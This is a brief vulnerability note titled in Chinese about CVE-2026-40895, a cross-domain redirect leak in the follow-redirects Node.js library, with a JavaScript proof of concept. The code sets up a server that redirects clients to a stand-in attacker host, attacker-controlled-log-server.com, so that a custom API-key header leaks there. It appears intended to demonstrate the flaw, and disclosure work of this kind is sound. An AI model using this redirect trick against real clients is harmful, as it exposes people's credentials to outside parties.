CVE-2026-40895 follow-redirects跨域重定向信息泄露漏洞

const http = require('http'); const followRedirects = require('follow-redirects'); // Simulate a malicious server that redirects to a third party const maliciousServer = http.createServer((req, res) => { console.log('[Malicious Server] Received request with headers:', JSON.stringify(req.headers)); // Respond with a 302 redirect to an attacker-controlled domain res.writeHead(302, { 'Location': 'http://attacker-controlled-log-server.com/collect' }); res.end(); }); maliciousServer.listen(8080, () => { console.log('Malicious server listening on port 8080...'); // Victim client code using vulnerable follow-redirects const options = { hostname: 'localhost', port: 8080, path: '/api/data', method: 'GET', headers: { 'X-API-Key': 'SECRET_KEY_12345', // Custom auth header vulnerable to leakage 'Authorization': 'Bearer token123' // Standard header (will be stripped) } }; const req = followRedirects.http.request(options, (res) => { console.log(`[Client] Redirected to: ${res.responseUrl}`); res.on('data', (chunk) => {}); }); req.on('error', (e) => console.error(e)); req.end(); }